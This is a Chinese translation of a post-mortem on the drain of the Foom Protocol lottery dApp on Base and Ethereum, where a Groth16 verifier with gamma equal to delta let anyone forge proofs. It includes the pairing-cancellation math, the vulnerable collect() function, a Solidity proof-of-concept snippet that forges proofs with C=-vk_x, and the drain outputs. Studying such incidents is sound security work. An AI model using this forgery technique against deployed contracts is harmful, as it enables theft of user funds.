本文分析了Foom协议彩票dApp在Base和以太坊主网上因Groth16零知识证明验证器的关键密码学漏洞而被盗的事件。漏洞源于验证密钥的delta和gamma参数被错误地设置为G2生成元,导致配对方程成为永真式,允许任何人伪造证明并提取资金。白帽黑客识别并救助了受影响的资金。
链 已耗尽 耗尽百分比 迭代次数 区块 Base ~4.588 × $10^{30}$ tokens 99.97% 10 42,650,620 ETH Mainnet ~1.969 × $10^{31}$ tokens 99.99% 30 24,539,648
链 验证者 彩票 Base 0x02c30D32A92a3C338bc43b78933D293dED4f68C60xdb203504ba1fea79164AF3CeFFBA88C59Ee8aAfDETH 0xc043865fb4D542E2bc5ed5Ed9A2F0939965671A60x239AF915abcD0a5DCB8566e863088423831951f8
<img width="1748" height="223" alt="image" src="https://github.com/user-attachments/assets/db11416d-c6f0-41e7-88e4-c6a14cadd2bc" />
<img width="1709" height="224" alt="image" src="https://github.com/user-attachments/assets/93495d5b-2ad1-4c57-b316-acafdcc2beac" />
Foom 协议是一个使用 ZK 证明 (Groth16) 进行提款的彩票/赌博 dApp,由于 ZK 验证者合约中存在一个致命的密码学缺陷,在 Base 和 Ethereum 主网上都被耗尽。验证密钥的 delta 和 gamma 参数都被设置为 BN254 $G_2$ 生成器点,这使得 Groth16 配对方程坍缩为重言式,从而允许任何人伪造任意公共输入的有效证明——无需了解任何私有见证。
Base 上的整个操作是一次由 @duha_real 主导的白帽救援,他发现了漏洞并在恶意行为者利用之前耗尽资金以保护它们。
Ethereum 主网上的操作由另一位白帽 (whitehat-rescue.eth) 独立进行,并非由 @duha_real 执行。
Groth16 是最广泛使用的 zk-SNARK 证明系统,一个证明由 BN254 曲线上的三个椭圆曲线元素 ($A, C \in G_1$) 和 ($B \in G_2$) 组成,验证检查一个配对方程
$$ e(A, B) = e(\alpha, \beta) \cdot e(vk_x, \gamma) \cdot e(C, \delta) $$
其中:
改写为配对乘积检查 (EVM ecpairing 预编译所评估的内容)
$$ e(-A, B) \cdot e(\alpha, \beta) \cdot e(vk_x, \gamma) \cdot e(C, \delta) = 1 $$
Groth16 的安全性依赖于 $\alpha, \beta, \gamma, \delta$ 是来自可信设置仪式的独立的随机元素。如果它们之间存在任何关系,证明系统就会崩溃。
// $\delta = \gamma = G_2 \text{ 生成器}$
漏洞在于可信设置 / 验证密钥生成,而不是 Solidity 验证者代码本身。Groth16 验证者逻辑是标准的——但其初始化的 VK 在密码学上是损坏的。
在正确的 Groth16 可信设置中:
Foom VK 违反了所有三点:
这表明可信设置要么从未执行,要么使用了平凡参数,要么是蓄意植入后门。
Foom ZK 验证者合约部署的验证密钥为
$\gamma = \delta = G2_{\text{generator}} = ($
x: [11559732032986387107991004021392285783925812861821192530917403151452391805634,
10857046999023057135944570762232829481370756359578518086990519993285655852781],
y: [4082367875863433681332203403145435568316851327593401208105741076214120093531,
8495653923123431417604973247489272438418190587263600148770280649306958101930]
)
collect()彩票合约暴露了一个 collect() 函数,允许用户通过提供 Groth16 ZK 证明来领取奖励:
function collect(
uint[2] calldata _pA,
uint[2][2] calldata _pB,
uint[2] calldata _pC,
uint _root,
uint _nullifierHash,
address _recipient,
address _relayer,
uint _fee,
uint _refund,
uint _rewardbits,
uint _invest
) payable external nonReentrant {
require(nullifier[_nullifierHash] == 0, "Incorrect nullifier");
nullifier[_nullifierHash] = 1;
require(msg.value == _refund, "Incorrect refund amount received by the contract");
uint reward = uint(betMin) * (
(_rewardbits & 0x1 > 0 ? 1 : 0) * 2**betPower1 +
(_rewardbits & 0x2 > 0 ? 1 : 0) * 2**betPower2 +
(_rewardbits & 0x4 > 0 ? 1 : 0) * 2**betPower3
);
reward = reward * (100 - dividendFeePerCent - generatorFeePerCent) / 100;
require(reward >= _fee, "Insufficient reward");
require(roots[_root] > 0, "Cannot find your merkle root");
uint balance = _balance();
require(balance >= _fee, "Insufficient balance");
// proof verification against the BROKEN verifier !
// 针对损坏验证者的证明验证!
require(
withdraw.verifyProof(
_pA, _pB, _pC,
[_root, _nullifierHash, _rewardbits,
uint(uint160(_recipient)), uint(uint160(_relayer)), _fee, _refund]
),
"Invalid withdraw proof"
);
// ... reward distribution, dividend, invest logic, token transfer
// ... 奖励分配、分红、投资逻辑、代币转账
}
这是标准的 BN254 $G_2$ 生成器点——一个公开已知的常数,而不是来自可信设置的随机元素。
白帽交易 Base (@duha_real): https://app.blocksec.com/phalcon/explorer/tx/base/0xa88317a105155b464118431ce1073d272d8b43e87aba528a24b62075e48d929d
白帽交易 ETH (whitehat-rescue.eth): https://app.blocksec.com/phalcon/explorer/tx/eth/0xce20448233f5ea6b6d7209cc40b4dc27b65e07728f2cbbfeb29fc0814e275e48
注意: 两笔交易都是白帽救援行动。Base 上的操作由 @duha_real 主导,他发现了漏洞并耗尽资金以保护它们。ETH 主网上的操作 (
0xce20448...) 由whitehat-rescue.eth独立执行。两者都使用了相同的技术 (使用 $C = -vk_x$ 伪造 Groth16 证明)。
<img width="627" height="389" alt="image" src="https://github.com/user-attachments/assets/f14c08e4-85ac-49f9-8982-b7fb5eb685d5" />
// 为什么 $\delta = \gamma$ 会破坏一切
当 $\delta = \gamma$ 时,最右边的两个配对项合并
$$ e(vk_x, \gamma) \cdot e(C, \delta) = e(vk_x, \gamma) \cdot e(C, \gamma) = e(vk_x + C, \gamma) $$
攻击者可以选择 $C = -vk_x$ ($vk_x$ 的曲线取反),这会产生
$$ e(vk_x + (-vk_x), \gamma) = e(O, \gamma) = 1 $$
其中 $O$ 是无穷远点,方程的整个右侧坍缩。
// 抵消 $\alpha$ 和 $\beta$
由于 $\alpha$ 和 $\beta$ 是公开的 (可从验证密钥中读取),攻击者设置
$A = \alpha$ (证明元素 $A$ 等于 VK 的 $\alpha$) $B = \beta$ (证明元素 $B$ 等于 VK 的 $\beta$)
这使得剩余项抵消
$$ e(-A, B) \cdot e(\alpha, \beta) = e(-\alpha, \beta) \cdot e(\alpha, \beta) = e(-\alpha + \alpha, \beta) = e(O, \beta) = 1 $$
// 完整方程坍缩
结合两次抵消
$$ e(-A, B) \cdot e(\alpha, \beta) \cdot e(vk_x, \gamma) \cdot e(C, \delta) = 1 \cdot 1 = 1 \quad \checkmark $$
验证是重言式。 它对任何公共输入都返回 true,无论是否存在有效的见证。
对于任何选定的公共输入集 $(\text{root}, \text{nullifier}, \text{denomination}, \text{recipient}, \dots)$
ecMul ($0x07$) 和 ecAdd ($0x06$) 预编译。collect($A, B, C, \text{root}, \text{nullifier}, \text{recipient}, \dots$) — 证明通过验证。<img width="1490" height="205" alt="image" src="https://github.com/user-attachments/assets/6d6f4225-60ef-4126-a68a-ec1742f71c3d" />
┌──────────────┐ deploy ┌────────────────────┐
│ 白帽 EOA │ ──────────────► │ 攻击合约 │
│ │ │ (构造函数) │
└──────────────┘ └──────┬─────────────┘
│
┌──────────▼───────────┐
│ 循环 N 次迭代 │
│ │
│ 1. 计算 vk_x │
│ 2. C = -vk_x │
│ 3. 调用 collect() │
└──────────┬───────────┘
│
┌────────────────────▼────────────────────┐
│ 彩票合约 │
│ │
│ ► verifyProof(A, B, C, inputs) │
│ └─► ZK 验证者 → TRUE (伪造!) │
│ ► token.transfer(recipient, payout) │
└─────────────────────────────────────────┘
<img width="1479" height="143" alt="image" src="https://github.com/user-attachments/assets/5e84b7c7-bb7d-44d6-9169-7f39c6b38e2b" />
// Base 主网 — 白帽 @duha_real
| 字段 | 值 |
|---|---|
| 白帽合约 | 0x005299B37703511B35D851e17dd8D4615e8A2C9B |
| 接收者 | 0x73f55A95D6959D95B3f3f11dDd268ec502dAB1Ea |
| 代币 | 0x02300aC24838570012027E0A90D3FEcCEF3c51d2 |
| 迭代次数 | 10 |
| 空值器 | 3735879680 → 3735879689 |
| Gas | 3,347,703 |
耗尽序列
# 空值器 耗尽金额 1 3735879680 4.047 × $10^{30}$ 2 3735879681 2.707 × $10^{29}$ 3 3735879682 1.353 × $10^{29}$ 4 3735879683 6.767 × $10^{28}$ 5 3735879684 3.383 × $10^{28}$ ... ... ... (减半) 10 3735879689 1.057 × $10^{27}$
// Ethereum 主网 — 白帽 whitehat-rescue.eth
| 字段 | 值 |
|---|---|
| 白帽合约 | 0x256a5D6852Fa5B3C55D3b132e3669A0bdE42e22c |
| 接收者 | 0x46c403e3DcAF219D9D4De167cCc4e0dd8E81Eb72 |
| 代币 | 0xd0D56273290D339aaF1417D9bfa1bb8cFe8A0933 |
| 迭代次数 | 30 |
| 空值器 | 99999990000 → 99999990029 |
| Gas | 8,408,402 |
耗尽序列
# 空值器 耗尽金额 1 99999990000 4.047 × $10^{30}$ 2 99999990001 4.047 × $10^{30}$ 3 99999990002 4.047 × $10^{30}$ 4 99999990003 4.047 × $10^{30}$ 5 99999990004 1.752 × $10^{30}$ 6 99999990005 8.760 × $10^{29}$ ... ... ... (减半) 30 99999990029 5.221 × $10^{22}$
在 30 次迭代后,ETH 彩票余额达到 $0$ (通过白帽合约构造函数末尾的 balanceOf 检查确认)
检查链上追踪的 ecpairing 预编译调用证实了这次攻击,验证者向配对预编译发送 4 对 ($G_1, G_2$)
对 1: ($ -A, B $) $\leftarrow$ negate($\alpha$), $\beta$ 对 2: ($ A, B $) $\leftarrow$ $\alpha$, $\beta$ [与对 1 相同的 $G_2$] 对 3: ($ vk_x, \gamma $) $\leftarrow$ 从输入计算 对 4: ($ C, \delta $) $\leftarrow$ $-vk_x$, $\delta$ [与对 3 相同的 $G_2$]
// 对 $1$ 和 $2$ 抵消 两者都使用相同的 $G_2$ 点 ($B = \beta$)。$G_1$ 点是 $A$ 和 $-A$ (已验证:它们的 $y$ 坐标之和为域素数 $p$),根据双线性原理 $$ e(-A, B) \cdot e(A, B) = e(O, B) = 1 $$
// 对 $3$ 和 $4$ 抵消 两者都使用相同的 $G_2$ 点 ($\gamma = \delta = G_2 \text{ 生成器}$)。$G_1$ 点是 $vk_x$ 和 $C = -vk_x$ (已验证:它们的 $y$ 坐标之和为 $p$),根据双线性原理 $$ e(vk_x, \gamma) \cdot e(-vk_x, \gamma) = e(O, \gamma) = 1 $$
结果: $1 \cdot 1 = 1$ — 配对检查被轻易满足。
collect() 调用中都是相同的 — 证实它们是固定的 VK 参数 $\alpha$ 和 $\beta$,而不是按证明计算的。PoC 仅使用链上 VK 参数和 EC 预编译独立伪造 Groth16 证明
src/FoomExploit.sol — 从 VK 中读取 $\alpha, \beta, IC[0..4]$,为每个空值器计算 $vk_x$,设置 $C = -vk_x$,调用 collect()。
function _forgeAndCollect(address lottery, uint256 root, uint256 nullifier, address recipient) internal {
(uint256 vkxX, uint256 vkxY) = _computeVkX(root, nullifier, uint256(uint160(recipient)));
// C = -vk_x ⟹ 当 gamma == delta 时,配对检查轻易成立
IFoomLottery(lottery).collect(
[ALPHA_X, ALPHA_Y], // A = alpha
[[BETA_X1, BETA_X2], [BETA_Y1, BETA_Y2]], // B = beta
[vkxX, P - vkxY], // C = -vk_x
root, nullifier, recipient, address(0), 0, 0, 7, 0
);
}
============================================
BASE 链攻击 (区块 42650620)
受害者彩票: 0xdb203504ba1fea79164AF3CeFFBA88C59Ee8aAfD
损坏的 ZK 验证者: 0x02c30D32A92a3C338bc43b78933D293dED4f68C6
被耗尽的代币: 0x02300aC24838570012027E0A90D3FEcCEF3c51d2
彩票代币余额(之前): 4589254196734797608386036919841
--------------------------------------------
彩票代币余额(之后): 1057487102997651578878978360
攻击者窃取的代币: 4588196709631799956807157941481
耗尽百分比 (bps): 9997
============================================
============================================
ETH 主网攻击 (区块 24539648)
受害者彩票: 0x239AF915abcD0a5DCB8566e863088423831951f8
损坏的 ZK 验证者: 0xc043865fb4D542E2bc5ed5Ed9A2F0939965671A6
被耗尽的代币: 0xd0D56273290D339aaF1417D9bfa1bb8cFe8A0933
彩票代币余额(之前): 19695576810020236864000000000000
--------------------------------------------
彩票代币余额(之后): 52218043953481865882874
攻击者窃取的代币: 19695576757802192910518134117126
耗尽百分比 (bps): 9999
============================================
<img width="680" height="321" alt="image" src="https://github.com/user-attachments/assets/4d8a95e1-25d6-40a5-a3a9-afa611be2f7b" />
<img width="683" height="323" alt="image" src="https://github.com/user-attachments/assets/3b60cdbd-f120-47ea-8a80-749d0b79a49b" />
链 之前 之后 窃取 耗尽百分比 Base 4.589 × $10^{30}$ 1.057 × $10^{27}$ 4.588 × $10^{30}$ 99.97% ETH 1.969 × $10^{31}$ 5.221 × $10^{22}$ 1.969 × $10^{31}$ 99.99%
ecpairingecAdd ($0x06$) 和 ecMul ($0x07$) 预编译0x02c30D32A92a3C338bc43b78933D293dED4f68C60xc043865fb4D542E2bc5ed5Ed9A2F0939965671A6
- 原文链接: github.com/DK27ss/FoomCl...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!